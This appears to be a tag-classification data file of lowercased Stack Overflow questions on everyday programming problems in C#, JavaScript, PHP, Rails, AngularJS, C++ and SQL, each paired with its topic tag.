extracting specific data from a string and summing it according to values contained elsewhere in string <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/13627720/performing-a-subtotal-on-filtered-data-from-a-streamreader >performing a subtotal on filtered data from a streamreader</a>    </blockquote>     data set: hundreds of lines of data in  file.dat   each ranging from 80-500 ascii characters in length.    located in each string  at specific locations (fixed width not delimited)  are 4 relevant pieces of information.     1) -numbers- always located in the first 3 characters of each string  is a number that states whether the string is relevant to me or not. if it contains any of 210 310 or 410 then i want to process this line  otherwise i want to ignore it.    2) -letters- this information s location is dependent on whether the first 3 digits were 210  310 or 410. if it is 210  then i want the algorithm to look at the values (always letters)  contained in location 406-409. if the first 3 digits were 310  then i need the values from 322-325  and if 410  then what i need is in 478-481.    3 &amp; 4) -numbers- the final 2 pieces of information are numbers  one of which will always be 0  the other will be > 0. given that i cannot tell which is going to be the nonzero  i wish to add them together. these numbers are in the following locations:   <pre>        first number location  second number location               210: ......... 129-140 ......................................142-153   310: ..........113-124 ......................................126-137  410: ..........113-124  ......................................126-137  </pre>   what i need to do with this is provide subtotals for each combination of letters in 2). the range of values for 2) is only about 4-5 different arrangements of letters (abcd  aaaa bbbb cccc dddd)  so my final output would be:   <pre> 210 aaaa  total number   210 bbbb  total number   .  .  .  410 dddd  total number   410 abcd  total number  </pre>   etc. for all combinations of the numbers and letters (15 maximum).     i hope this is clear  thanks in advance.    edit: current code:    i m currently trying to go about it with a series of if s and lots of var s  hope this code pastes:    <pre><code>class program {     static void main()     {         // read in a file line-by-line  and store in a list.         list&lt;string&gt; list = new list&lt;string&gt;();         using (streamreader reader = new streamreader( file.dat ))         {             string line;             while ((line = reader.readline()) != null)             {                 var beginning = line.substring(0  3);                 // building this up atm                 // var letters210 = line.substring(129 11);                 if (beginning !=  210  &amp;&amp; beginning !=  310  &amp;&amp; beginning !=  410 )                     continue;                  list.add(line); // add to list.                 console.writeline(line); // write to console.             }         }     } } </code></pre>,c#
referenced assembly references  if assembly a (which is executable) references assembly b  should it reference all assembly b s references (even if it doesn t use classes which use these references),.net
rails 4.0.0 datetime.strptime need 12 hour no-padding  i am trying to parse a fingerprint reader s xml file using datetime.strptime but the times are 12 hour not padded and there seems to be no strftime option to read this. i tried %-i but it did not work.    from the api   <pre><code>time (hour  minute  second  subsecond):   %h - hour of the day  24-hour clock  zero-padded (00..23)   %k - hour of the day  24-hour clock  blank-padded ( 0..23)   %i - hour of the day  12-hour clock  zero-padded (01..12)   %l - hour of the day  12-hour clock  blank-padded ( 1..12) </code></pre>   a snippet from the xml packet   <pre><code>&lt;row pin= 142  name= 142  stime= 8/12/2013 8:14 pm  verifyflag= fingerpint  machinename= office  abnormite=  /&gt; &lt;row pin= 163  name= 163  stime= 8/12/2013 8:16 pm  verifyflag= fingerpint  machinename= office  abnormite=  /&gt; &lt;row pin= 103  name= 103  stime= 8/13/2013 12:03 am  verifyflag= fingerpint  machinename= office  abnormite=  /&gt; &lt;row pin= 101  name= 101  stime= 8/13/2013 12:03 am  verifyflag= fingerpint  machinename= office  abnormite=  /&gt; &lt;row pin= 401  name= 401  stime= 8/13/2013 12:36 am  verifyflag= fingerpint  machinename= office  abnormite=  /&gt; &lt;row pin= 505  name= 505  stime= 8/13/2013 2:17 am  verifyflag= fingerpint  machinename= office  abnormite=  /&gt; </code></pre>,ruby-on-rails
custom  done  button in utility application  trying to get custom  done  button in utility application   <ol> <li>create new project in xcode using utility template</li> <li>put image done_button.png in project</li> <li>add some code in flipsideviewcontroller.m in viewdidload method. i use this code successfully when change buttons in navigation controllers.</li> </ol>   <code>   <pre><code>    uiimage *back_image=[uiimage imagenamed:@ done_button.png ];     uibutton *back_button = [uibutton buttonwithtype:uibuttontypecustom];     back_button.bounds = cgrectmake( 0  0  back_image.size.width  back_image.size.height);         [back_button setbackgroundimage:back_image forstate:uicontrolstatenormal];     [back_button addtarget:self action:@selector(done) forcontrolevents:uicontroleventtouchupinside];         uibarbuttonitem *barbuttonitem_back = [[uibarbuttonitem alloc] initwithcustomview:back_button];     self.navigationitem.leftbarbuttonitem = barbuttonitem_back;     self.navigationitem.hidesbackbutton=yes;     [barbuttonitem_back release]; </code></pre>   </code>   <ol start= 4 > <li>i can see standard done button only  not custom. if i delete this button in xib - i can t see any buttons at all.</li> </ol>   i think i cant get access to items here - <strong>self.navigationitem.leftbarbuttonitem = barbuttonitem_back;</strong>    plz help serg,iphone
load image from file on htc  at htc picture in imageview is not displayed. i m trying to upload a picture from a file:   <pre><code>intent i = new intent(intent.action_pick  mediastore.images.media.external_content_uri);                 i.settype( image/jpeg );                 startactivityforresult(i  0); </code></pre>   accept the result:   <pre><code>public void onactivityresult(int requestcode  int resultcode  intent data) {         if (resultcode == activity.result_ok) {             {               if (data != null) {                     if (requestcode == 0){                         uri selectedimage = data.getdata();                         loadimagetoimageview(selectedimage);                         }                     }              }         }     } </code></pre>   do in background in loadimagetoimageview(uri uri):   <pre><code>protected bitmap doinbackground(string... file) {    inputstream in = null;         bitmap bitmap = null;         try {             in = getcontentresolver().openinputstream(uri);             bitmap = bitmapfactory.decodestream(in);             new weakreference&lt;bitmap&gt;(bitmap);         } catch (exception e) {             //....         } finally {             try {                 if (in != null) {                     in.close();                 }             } catch (ioexception ioex) {                 //....             }         } return bitmap; }   protected void onpostexecute(bitmap result) {         if (result != null) {             imageview.setimagebitmap(result);         }     } </code></pre>   at hts one x photo not displayed. what s the problem  on other devices all work fine. uri not null  no errors,android
uiscrollview not scrolling when included into viewcontroller embedded into a navigation controller  i have made a view controller embedded in a navigation controller.  in the view controller  i have inserted a scroll view that contains some buttons and text fields.  in the <code>viewdidload</code> method  i have inserted the following code to initialize the <code>scrollview</code>:   <pre><code>[scroller setscrollenabled:yes]; [scroller setcontentsize:cgsizemake:(1000  1000)]; </code></pre>   but the view does not scroll.  i have tried the same scenario but without embedding the view controller into a navigation controller and it was working.  does anyone know the problem  thanks.,objective-c
if installation folder name is renamed then the configuration doesn’t work properly  in my .net windows application has a delivery folder in that contains sub-folder with name  software . inside that it contains couple of subfolders and .exe and a .dll files.  it s like this -    ....\delivery\software\ so when i build the application the output means all binary files will go to this folder. and we will give this  software  folder to the testing team...so that they can test the appl.... my question is if anyone renames the  software  folder to something else then the application wont work properly....means when we launch the appl. it will create some files and folders. and as we rename the folder name it wont work as it shld be. pls any one suggest me what to do in this scenario.,.net
sencha touch: how to set a variable in jsonp request  i m new to sencha touch 2.  i m unable to set my qrcodehtml variable and use it outside of the jsonp request.  i know all of this code works except being able to set the qrcodehtml variable.  please help me accomplish this:   <pre><code>    onmyprofilecommand: function () {     var api_username =  o_xxxxx ;     var api_key =  r_xxxxxxxxxx ;     var long_url =  http://google.com ;     var qrcodehtml =   ;      ext.data.jsonp.request({         url:  https://api-ssl.bitly.com/v3/shorten           callbackkey:  callback           params: {             login: api_username              apikey: api_key              longurl: long_url         }          success: function (result  request) {             var shorturl = result.data.url;             qrcodehtml =  &lt;div style= font-size:15px; margin-bottom:5px; &gt;friends can scan this to &lt;a href=   + shorturl +                                 style= color:inherit; text-decoration:none; font-weight:bold; &gt;view your profile!&lt;/a&gt;&lt;/div&gt;&lt;img src=   +                              shorturl +  .qrcode  style= height:110px; width:110px;  /&gt; ;         }     });      this.getlblqrcodehtml().setdata({ qrcodehtml: qrcodehtml });     ext.viewport.animateactiveitem(this.getprofileview()  this.slidelefttransition); } </code></pre>,javascript
designing templates for web forms in c#  i have got to work on developing a data entry form(web based) with rich look gui.im new to such development. so please let me know if there are any online templates available or please guide me how to design forms with rich look-and-feel.,asp.net
no detail data in a master/detail scenario in angular  i m still learning angular in a spa and i m in the process of converting an mvc app over to angular. i have a master/detail scenario where the master page is a list of members and the detail page is an individual record for the selected member. i still haven t learned a good way to debug to help figure this out but from what i can see this should be returning data. what i don t know is how to properly display it in the page. the member page is working just fine but the detail page doesn t show any data.     what i can see is that when i click  view  to see the detail i can see that the url has the correct web api end point with the correct memberid. when i view that url end point with the memberid in fiddler i see the correct data being returned. so  the web api is working correctly.    this is my app.js file and it s using the <code> /memberdetail/:memberid </code> route and i m able to get the <code> app/views/memberdetail.html </code>page to come up in the browser. so the route should be configured correctly.    <pre><code>(function () {      var app = angular.module( troopapp   [ ngroute   appfilters ]);      //( modulename   [array of injected modules])      app.config(function($routeprovider) {         $routeprovider             .when( /   {                 controller:  memberscontroller                   templateurl:  app/views/members.html              })             .when( /memberdetail/:memberid   {                 controller:  memberscontroller                   templateurl:  app/views/memberdetail.html              })             .otherwise({ redirectto:  / });     });   }()); </code></pre>   this inside my controller i only pulled some of the code so i don t have too much to scroll through.   <pre><code>var memberdetailcontroller = function ($scope  $routeparams  memberfactory) {         var memberid = $routeparams.memberid;         $scope.member = null;          function init() {             memberfactory.getmember(memberid)                .success(function (member) {                    $scope.member = member;                })                .error(function (data  status  headers  config) {                    //handle error                });         }         init();     };      memberdetailcontroller.$inject = [ $scope    $routeparams    memberfactory ];      angular.module( troopapp )       .controller( memberdetailcontroller   memberdetailcontroller); </code></pre>   this the memberfactory.js file.    <pre><code>(function () {     var memberfactory = function ($http) {          var factory = {};          factory.getmembers = function () {             return $http.get( /api/memberapi );         };          factory.getmember = function (memberid) {             return $http.get( /api/memberapi/  + memberid);         };          return factory;     };      memberfactory.$inject = [ $http ];      angular.module( troopapp ).factory( memberfactory   memberfactory);  }()); </code></pre>   this is my html.   <pre><code>&lt;div class= container &gt;     &lt;h2&gt;member detail&lt;/h2&gt;     &lt;p /&gt;     &lt;div class= table-responsive &gt;         &lt;table class= table table-bordered table-striped table-hover &gt;             &lt;tr&gt;                 &lt;td&gt;name: &lt;/td&gt;                 &lt;td&gt;{{ member.firstname }} {{ member.lastname }}&lt;/td&gt;             &lt;/tr&gt;         &lt;/table&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>,angularjs
why is appdomain.currentdomain.basedirectory different between windows forms and library  in my winforms application  appdomain.currentdomain.basedirectory is set to  c:\projects\testproject\bin\debug\     in my unit tests it is  c:\projects\testproject\bin\debug  (no final slash).  why is this     [edit] @will : i am asking why the test project s directory doesn t have a trailing slash,.net
disable :hover when a certain class is set  i was wondering wether it is possible to disable the css <code>:hover</code> function via jquery when a class  e.g. <code>.active</code> is set to an element.     reason for this is a navigation  in which the certain link will be marked as clicked via <code>.addclass( active )</code> - function. when i hover over this certain element  it will get a border of 4px as my <code>:hover</code>-function looks like this:    <pre><code>nav ul li a:hover {    border-bottom: solid 2px rgba(0  0  0  0.3); } </code></pre>,jquery
use php on my computer offline  i am learning php.the problem is that i don t have a frequent internet access.every time to practice php i have to go online. is there a way to practice php+html on my computer without internet connection. thanks,php
jquery instant search click on text to select  i m new in jquery an i m trying to make an instant search. everything works fine when i select the div that contains the key ( result  div)  but i need to make it work also when selecting the key within the div(the text from the span with  name  id). thanks!    here s the code:   <pre><code>$(function(){ $( .search ).keyup(function()  {  var searchid = $(this).val(); var datastring = \ search=\ + searchid; if(searchid!=\ \ ) {     $.ajax({     type:  post       url:  searchbrand.php       data: datastring      cache: false      success: function(html)     {     $( #result ).html(html);     }     }); }return false;     });    jquery( #result ).on( click  function(e){      var $clicked = $(e.target);     var $name = $clicked.find(\ .name\ ).html();     var decoded = $( &lt;div/&gt; ).html($name).text();     $(\ #searchid\ ).val(decoded); });   jquery(document).on( click   function(e) {      var $clicked = $(e.target);     if (! $clicked.hasclass( search )){     jquery( #result ).fadeout();      } }); $(\ #searchid\ ).click(function(){     jquery( #result ).fadein(); }); });  &lt;/script&gt;    &lt;div class= content2 &gt; &lt;input type= text  class= search  id= searchid  placeholder= search brand /&gt; &lt;div id= result &gt;&lt;/div&gt; &lt;/div&gt; ; </code></pre>   and searchbrand.php...   <pre><code> $q = mysql_real_escape_string($_post[ search ]);     $result = mysql_query( select distinct brand from general where brand like  %$q%  order by id limit 10 );  $nr=mysql_numrows($result); $i=0; while( $i&lt;$nr)      {       $brand=mysql_result($result $i  brand );           $i++;             $b_brand =  &lt;strong&gt; .$q. &lt;/strong&gt; ;                   $final_brand = str_ireplace($q  $b_brand  $brand);    echo        &lt;div class= show  align= left  &gt;                 &lt;img src= /images/arrow.png  style= height:15px; float:left; margin-right:2px;  /&gt;&lt;span class= name &gt; .$final_brand. &lt;/span&gt;             &lt;/div&gt; ;      } </code></pre>,jquery
jquery using two conditions in if is not working   i have an input field in form like this   <pre><code>&lt;input type= text  name= name  id= name  /&gt; &lt;input type= submit  value= submit  id= submit  /&gt; </code></pre>   and in jquery i want the <code>form input text length should not be less than 4 and more than 10.</code> so for that i have my code is like this. but here its not working.   <pre><code>  &lt;script type= text/javascript &gt;     jquery(document).ready(function() {       jquery( #submit ).click(function(event) {         event.preventdefault();         var textlength = $( #name ).val().length;         if(textlength &lt; 4 &amp;&amp; textlength &gt; 10) {           alert( oops error );         }       });     });   &lt;/script&gt; </code></pre>   but if i am using <code>if(textlength &lt; 4 ) only one condition then the given one condition is working</code> but when i am using two conditions then its not working  so can someone tell me how to solve this error,jquery
elegant way to negate a numeric value based on a boolean value  i have a decimal variable that i would like to negate if a boolean variable is true. can anyone think of a more elegant way to do it than this:   <pre><code>decimal amount = 500m; bool negate = true;  amount *= (negate   -1 : 1); </code></pre>   i m thinking something along the lines of bitwise operators or a strictly mathematical implementation.,c#
expression databinding(<%# %>) syntax work without a datasource  whether expression databinding(&lt;%# %>) syntax work without a datasource     such as:   <pre><code>&lt;asp:textbox runat= server  id= txt  text= &lt;% #getvalue() %&gt; /&gt;   </code></pre>,asp.net
css div positioning randomly  i am having a weird issue when trying to work with a graph created with javascript.   <pre><code>&lt;div id= jobcostchart  class= segbar  style= width: 100%; height: 30px; &gt;     &lt;div class= item-wrapper  style= display: inline-block; height: 100%; width: 64.7059%; background-color: rgb(56  142  60); position: relative; &gt;         &lt;span class= item-percentage  style= color: white; &gt;$20 350.00&lt;/span&gt;     &lt;/div&gt;     &lt;div class= item-wrapper  style= display: inline-block; height: 100%; width: 27.663%; background-color: rgb(76  175  80); position: relative; &gt;         &lt;span class= item-percentage  style= color: white; &gt;$8 700.00&lt;/span&gt;     &lt;/div&gt;     &lt;div class= item-wrapper  style= display: inline-block; height: 100%; width: 7.63116%; background-color: rgb(129  199  132); position: relative; &gt;         &lt;span class= item-percentage  style= color: white; &gt;$2 800.00&lt;/span&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   this is the code for the graph it generates and this is how it looks: <a href= https://i.stack.imgur.com/ikhus.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ikhus.png  alt= enter image description here ></a>    all good and well  but i want to delete the text in the last one but when i delete the <code>&lt;span&gt;</code> programatically in javascript it comes out like this:    <a href= https://i.stack.imgur.com/cvhpf.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/cvhpf.png  alt= enter image description here ></a>    i can t for the life of me figure it out! been playing in chrome dev tools to try fix it  but no luck. anyone have any ideas     many thanks!,css
editing a newsletter subscription field  i m creating a newsletter for my followers on my website kingtutnews.com and using mailchimp for that  the problem i m facing right now  is i can t get this simple email pickup label (kingtutnews.com/emaillist.html) to function on my homepage without compromising the design  i ve been playing with it for almost a day now in order to integrate the two codes  but i can t just get it to work  and i m new to all this  hopefully you guys can point me in the right direction.    the code that works   <pre><code>    &lt;div id= mc_embed_signup &gt;     &lt;form action= //twitter.us14.list-manage.com/subscribe/post u=4781bcd1f52c31bf7dc7618f7&amp;amp;id=5b8147dc49  method= post  id= mc-embedded-subscribe-form  name= mc-embedded-subscribe-form  class= validate  target= _blank  novalidate&gt; &lt;div id= mc_embed_signup_scroll &gt;      &lt;div class= mc-field-group &gt;         &lt;label for= mce-email &gt;email address &lt;/label&gt;         &lt;input type= email  value=   name= email  class= required email  id= mce-email &gt;     &lt;/div&gt;         &lt;div id= mce-responses  class= clear &gt;     &lt;div class= response  id= mce-error-response  style= display:none &gt;                &lt;/div&gt;     &lt;div class= response  id= mce-success-response  style= display:none &gt;        &lt;/div&gt; &lt;/div&gt;    &lt;!-- real people should not fill this in and expect good things - do not remove this or risk form bot signups--&gt;         &lt;div style= position: absolute; left: -5000px;  aria-hidden= true &gt;        &lt;input type= text  name= b_4781bcd1f52c31bf7dc7618f7_5b8147dc49  tabindex= -1  value=  &gt;&lt;/div&gt;         &lt;div class= clear &gt;&lt;input type= submit  value= subscribe  name= subscribe                             id= mc-embedded-subscribe  class= button &gt;&lt;/div&gt; &lt;/div&gt;     &lt;/form&gt;     &lt;/div&gt; </code></pre>   and the code for the label i have on my main page   <pre><code>            &lt;div class= row &gt;                 &lt;div class= col-md-4 col-md-offset-4 col-sm6-6 col-sm-offset-3  &gt;                     &lt;form class= form-inline  role= form &gt;                       &lt;div class= form-group &gt;                         &lt;label class= sr-only  for= exampleinputemail2 &gt;email address&lt;/label&gt;                         &lt;input type= email  class= form-control transparent  placeholder= your email here... &gt;                       &lt;/div&gt;                       &lt;button type= submit  class= btn btn-danger btn-fill &gt;subscribe&lt;/button&gt;                     &lt;/form&gt;                  &lt;/div&gt;             &lt;/div&gt;         &lt;/div&gt; </code></pre>,html
why i get $$state variable with a service angularjs  i want to get just my service in the variable from my controller but it give me an $$state object     <strong>this is my controller</strong>   <pre><code>$scope.mydatasms = servicesms.async().then(function(data){     $scope.mydatasms1 = data;     console.log($scope.mydatasms1);      return $scope.mydatasms1; });  console.log($scope.mydatasms); </code></pre>   <strong>and my service</strong>   <pre><code>routeappcontrollers.factory( servicesms   function($http token) {      var key = token.createtoken()      var myservice = {          async: function() {              var data =  token=  + encodeuricomponent(key);              var promise =  $http({                 method:  post                   url:  phpfunction/getsms.php                   data: data                  headers: { content-type :  application/x-www-form-urlencoded }             })                  .then(function(data) {                      // the then function here is an opportunity to modify the response                   //   console.log(data.data);                      // the return value gets picked up by the then in the controller.                     return data.data;                 })              // return the promise to the controller             return promise;         }     };     return myservice; }); </code></pre>   i think that the problems is with the promise but there i m little bit stuck    if someone can help me please    thanks in advance,angularjs
what are some best css practices  do you re-use previous css  how about frameworks   i m compiling great ideas how to optimize and improve your css. what are your best practices that you would like to share  do you use frameworks  do you re-use your css  do you document your css     please share. thanks!     additional question      how do you generated ids and class in naming your markups... are they generic or specific  are most of your project has a similar class and ids     thanks!,css
select mutual numbers in database table  [![enter image description here][1]][1]    please friends this is a table for users who are fiends so i want to select the mutual friends for user 1 and user 2. and the mutual friends are all the users marked in circle  i grouped each user with a specific color: here is my coding:   <pre><code>    select * from friends as f5 inner join  ((select one from friends where two =   1 ) as f1  (select two from friends where one =   1 ) as f2  (select one from friends where two =   2 ) as m1   (select two from friends where one =   2 ) as m2) on (f1.one  = m1.one and f2.two = m2.two )  </code></pre>,mysql
how to replace space with  -  when they are more than 2 words  when i use the following code  the space is getting displayed only for the starting word    i.e if i use     <code>replace(     -  true)</code>     for the word     <code>2 wheeler parking</code>    i am getting output as <code>2-wheeler parking</code>.     the <code> space </code> is not replaced by <code> - </code> before parking.    what should i use to get the <code> - </code> before every word,php
really weird python error <pre><code>... def splitmunipulation(p threshold=5000):     runs=[];i=0     while i&lt;len(p):         l=[];i+=1         print i p[i]         while p[i]!=press(0 1 0):             l.append(p[i]);i+=1         else:                    runs.append(l)#here i points to another (0 1 0)     return runs ...  record=splitmunipulation(record) </code></pre>          output:   <pre><code>    1 &lt;__main__.press instance at 0x046690a8&gt;       file  h:\mutate.py   line 28  in splitmunipulation         while p[i]!=press(0 1 0):     indexerror: list index out of range </code></pre>   <code>press</code>is a  class    and since <code>print p[i]</code> works well why <code>p[i]</code> is considered out of range     really don t get what s going on,python
c++ xul frameworks  what are the most popular xul frameworks for c++.  i am interested in both x platform and also platform dependant ones.    cheers     andrew,c++
two directional list enumerator in .net  in my c# app  i ve got a list that i navigate with an enumerator. it works great for moving forward through the list  but the enumerator class doesn t have a moveback method.     is there different class that has a moveback method  or do i need to write my own,.net
c++ no matching constructor  recently  i ve begun studying c++  and this is my first c++ program - but it does not work.    error message:   <blockquote>    no matching constructor for initialization of  document .  </blockquote>   the ide i use is xcode.   <pre><code>    class document {      private:      int doc_id;         int lan_id;         std::vector&lt;int&gt;::size_type n_total;         std::vector&lt;int&gt; words;         std::vector&lt;int&gt; counts;          inline int doc_type(){return (counts.empty() &amp;&amp; !words.empty())  1:0;};     public:          document(int docid)         {             doc_id = docid;             n_total = 0;         }         document(int docid  int lanid)         {             lan_id = lanid;             doc_id = docid;             n_total = 0;         }          inline void add(int word  int count)         {             words.push_back(word);             counts.push_back(count);         }         inline void add(int word) { words.push_back(word);}         inline int word(int i) { return words[i]; }         inline int count() { return counts[1];};         inline std::vector&lt;int&gt;::size_type size() {  return n_total;};         inline void setsize(std::vector&lt;int&gt;::size_type total){ n_total = total;};         inline std::vector&lt;int&gt;::size_type  types() { return words.size();}          ~ document()         {             words.clear();             counts.clear();         }     }; </code></pre>,c++
parse error: syntax error  unexpected   );   (t_constant_encapsed_string)  this is my first time posting. there is an error on the following code and i can t figure out why.  i m new to php; i would appreciate some constructive help that will help me with future php codes...    this is the error:     <blockquote>    parse error: syntax error  unexpected   );   (t_constant_encapsed_string) in c:\xampp\htdocs\em420_keyassignmentswebsite\includes\tables.php on line 6  </blockquote>   thank you   <pre><code> &lt; php   $con=mysqli_connect( localhost   student   scholar  “thrifty_r_us );  if (mysqli_connect_errno())  {  echo  failed to connect to mysql:  .                     mysqli_connect_error( mysqli_connect_errno );  }   $sql= create table customers(id int not null auto_increment  primary             key(id)  firstname varchar(100) lastname varchar(100) emailaddress       varchar(100)) ;    if (mysqli_query($con $sql));  {  echo  table customers created successfully ;  }  else  {  echo error creating table:   . mysqli_error($con);  }   $sql= create table clothing(item_id int not null auto_increment  primary       key(item_id)  type varchar(100) style varchar(100) size varchar(100) price     varchar(100) male_or_female(100)  ) ;   if (mysqli_query($con $sql))  {  echo  table clothing created successfully ;  }  else  {  echo  error creating table:   . mysqli_error($con);  }    $sql= create table books(book_id int not null auto_increment  primary       key(book_id)  title varchar(100) author varchar(100) genre       varchar(100) price varchar(100)    ) ;     if (mysqli_query($con $sql))      {    echo  table books created successfully ;     }    else    {     echo  error creating table:   . mysqli_error($con);     }    $sql= create table linens(item_id int not null auto_increment  primary       key(item_id)  type varchar(100) color varchar(100) size varchar(100) price     varchar(100)   ) ;    if (mysqli_query($con $sql))   {   echo  table linens created successfully ;   }   else   {   echo  error creating table:   . mysqli_error($con);   }   $sql= create table jewelry(item_id int not null auto_increment  primary     key(item_id)  type varchar(100) metal varchar(100) stone      varchar(100) color     varchar(100) price varchar(100)   ) ;    if (mysqli_query($con $sql))   {   echo  table jewelry created successfully ;   }   else   {   echo  error creating table:   . mysqli_error($con);   }    &gt; </code></pre>,php
what if my iphone app is rejected   what if my application is rejected from app store  do i need to take gap to retry or need to pay for that  how many trails i can make for app submission     please guide me.    thanks in advance.    regards  malleswar,iphone
"adding a child row to a javascript sourced data table  how do you add a child row to a table if the table is constructed using javascript sourced data     i have not copied all of my html/script here  i just need to know in general how you would add another row below each existing row that will span the cells in the parent row.    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var lenders = [{
   lender:  bank 1  
   amount: [ 100 ] 
   term: [30  60] 
   stuff:  foo 
 }  {
   lender:  bank 2  
   amount: [ 250 ] 
   term: [60] 
   stuff:  bar 
 }  {
   lender:  bank 3  
   amount: [ 100    250 ] 
   term: [30] 
   stuff:  baz 
 }  {
   lender:  bank 4  
   amount: [ 100 ] 
   term: [60] 
   stuff:  qux 
 }  {
   lender:  bank 5  
   amount: [ 250 ] 
   term: [30] 
   stuff:  fgfd 
 }  {
   lender:  bank 6  
   amount: [ 100    250 ] 
   term: [30  180] 
   stuff:  done 
 }];</code></pre>
 </div>
 </div>",javascript
why does javascript consider     to be smaller than  .    <code>alert(    &lt;  . )</code> returns <code>true</code> in javascript.    so why     is smaller than  .,javascript
update with select and cases  when/then   when i try to execute this:   <pre><code>update yumowa_kontrahent  set yuk_typ_umowy=   ws  where yuk_idobiekt in (select yo_id  sum(isnull(yrob_wz_woda 0))as woda  sum(isnull(yrob_wz_scieki 0))as scieki   case      when sum(isnull(yrob_wz_woda 0))&gt; 0 and sum(isnull(yrob_wz_scieki 0))&gt;0 then  ws      end ws      from yobiekt  join yrozliczenie_obiekt on yo_id=yrob_idobiekt group by yo_id) </code></pre>   i recieve:   <blockquote>    msg 116  level 16  state 1  line 45 only one expression can be   specified in the select list when the subquery is not introduced with   exists.  </blockquote>   i need to update typ umowy=  ws  on dbo.yumowa_kontrahent which after sum records of  woda  &amp;  scieki  >0 i specified in sub-query unique id s so,mysql
constraining find_each  i have a select statement     <pre><code>select `metrics`.*  from `metrics`  where `metrics`.`engine` = 0    and (`metrics`.connection_id = 27874)    and (`metrics`.`id` &gt; 181586235)  order by `metrics`.`id` asc limit 1000 </code></pre>   which is generated by <code>find_each</code> being called on a relation (e.g. <code>metric.engines.find_each</code>).  this select statement scans 15 million records each time it is run.    i d like to make this lighter on the database by telling the query only to look for a range of <code>metrics.id</code>s (e.g. <code>metrics.id &gt; 1 and metrics.id &lt; 1000</code>).    is there a way to do this with <code>find_each</code>,ruby-on-rails
is there a way to say the object only once when i have to use it again and again   take for example:   <pre><code>int main(void){     numbercomparator comparator1;      comparator1.seta(78.321);     comparator1.showa();     comparator1.setb( c );     comparator1.setb( yes );     comparator1.setb(124.213);     comparator1.showb();     comparator1.setb(12);      return 0; } </code></pre>   instead of saying <code>comparator1</code> over and over again  can i do something shorter     i understand that this doesn t really change much about how the program works  but it does make it easier to work around with testing a class i make.     i am doing overloading so that for an assortment of inputs into my comparator  my program can handle them without making the results go crazy. in this case  i want the input to be an <code>int</code>  but what if the input isn t     the answer could be lying around the internet  but as my title may infer  i do not know how to state the question.,c++
user.id not getting saved in form  i have 2 models  promos and users.   <pre><code>promo belongs_to :user user has_many :promos </code></pre>   in my routing  i have nested resources:   <pre><code>  devise_for :users   resources :users do     resources :promos   end </code></pre>   i have a form to create new promos  with <code>simpleform</code>   <pre><code>&lt;%= simple_form_for [current_user  @promo] do |f| %&gt;    &lt;%= f.input :title  label:  título de la promoción  %&gt;    &lt;%= f.input :image  label:  imágen de la promoción   class:    %&gt;    &lt;%= f.input :description  :as =&gt; :text   label:  descripción de la promoción   :input_html =&gt; {class:  materialize-textarea } %&gt;    &lt;%= f.input :title  label:  pabrasecreta   class:  validate   input_html: {length:  10 } %&gt;     &lt;%= f.submit  crear palabra secreta    class:  right btn  %&gt; &lt;% end %&gt; </code></pre>   the problem is  user.id is not being saved in the database  so i get <code>nil</code> when doing:   <pre><code>p = promo.last =&gt; #&lt;promo id: 13  created_at:  2015-06-22 21:44:01   updated_at:  2015-06-22 21:44:01   title:  adad   description:  dasfadf   word_id: nil  shop_id: nil  limit: nil  image:  nevera4.jpg   user_id: nil&gt; </code></pre>   params are being passed  correctly  (why is user_id after the commit )   <pre><code>  parameters: { utf8 =&gt; ✓    authenticity_token =&gt; 4ckcpcgikljvfu3gmvza1i7jrsee7yq5iw84uqutdh4=    promo =&gt;{ title =&gt; adad    image =&gt;#&lt;actiondispatch::http::uploadedfile:0x007ff4dec8b510 @tempfile=#&lt;tempfile:/var/folders/n1/hsg_rvx906lgk_81lrm1x5xr0000gn/t/rackmultipart20150622-13699-1rmge4a&gt;  @original_filename= nevera4.jpg   @content_type= image/jpeg   @headers= content-disposition: form-data; name=\ promo[image]\ ; filename=\ nevera4.jpg\ \r\ncontent-type: image/jpeg\r\n &gt;   description =&gt; dasfadf }   commit =&gt; crear palabra secreta    user_id =&gt; 1 } </code></pre>,ruby-on-rails
how to store and retrieve multi-line value in python dictionary  i want to use dictionary in python of following type     <pre><code>dictionary = {      who is elon musk :        elon reeve musk frs is an american business magnate  investor and engineer. he is the founder  ceo  and lead designer of spacex; co-founder  ceo  and product architect of tesla  inc.; and co-founder and ceo of neuralink           second question :        second answer    } </code></pre>   i want to retrieve the answer from question by using above approach.<br> what is wrong with this approach and what are correct ways of doing it. also is there any better way than using dictionary to perform above task.,python
emails get spam if sent via c# .net 2.0 but goes to inbox if outlook is used  my emails are getting spammed if i use my own software to send them. the software is in c# (with .net framework 2.0).    if i send the same mail (will all identical settings ie. same ip  same account  same subject and body) with the outlook it goes to inbox.    it is really becoming headache  why the mails are getting spammed only if they are sent via my application  while everything works fine with outlook.    thanx for any kind of help...    regards  shail2k4,.net
how do i delete duplicates data and the same time remove value which not in a new table  let s say i have two table <code>table_new</code> and <code>table_old</code>    table_old   <pre><code>id      email_address  full_name  address ----------------------------------------- 1       a@b.com        john      street 1 2       b@b.com        peter     street 2 3       c@b.com        david     street 3 </code></pre>   table_new   <pre><code>id      email_address ---------------------- 1       b@b.com 2       c@b.com 3       d@b.com 4       e@b.com 5       f@b.com ...     .... 300     xyz@xux.com </code></pre>   <strong>questions :</strong>    how do i copy the email address from <code>table_new</code> to <code>table_old</code> with some statement below   <ol> <li>if in <code>table_old</code> already exists an email address from <code>table_new</code> ignore it. </li> <li>if in <code>table_new</code> does not exists an email address from <code>table_old</code> delete it.</li> </ol>   so the result should be    <code>table_old</code>   <pre><code>id      email_address  full_name  address ----------------------------------------- 1       b@b.com        peter     street 2 2       c@b.com        david     street 3 3       d@b.com 4       e@b.com 5       f@b.com ...     .... 300     xyz@xux.com </code></pre>   let me know.,mysql
iphone developing  i have 4 tabs in my application. after launching my application i want to start with landscape. now i want to restrict one view from landscape  i tried with <code>[[uidevice currentdevice] setorientation:uiinterfaceorientationportrait];</code> now the view is restricting landscape and force the view into portrait then no issue right now i will go to any other tab which are in my application they should not rotate to landscape mode.    after come back to home view where i was started my application then all are working fine.....,objective-c
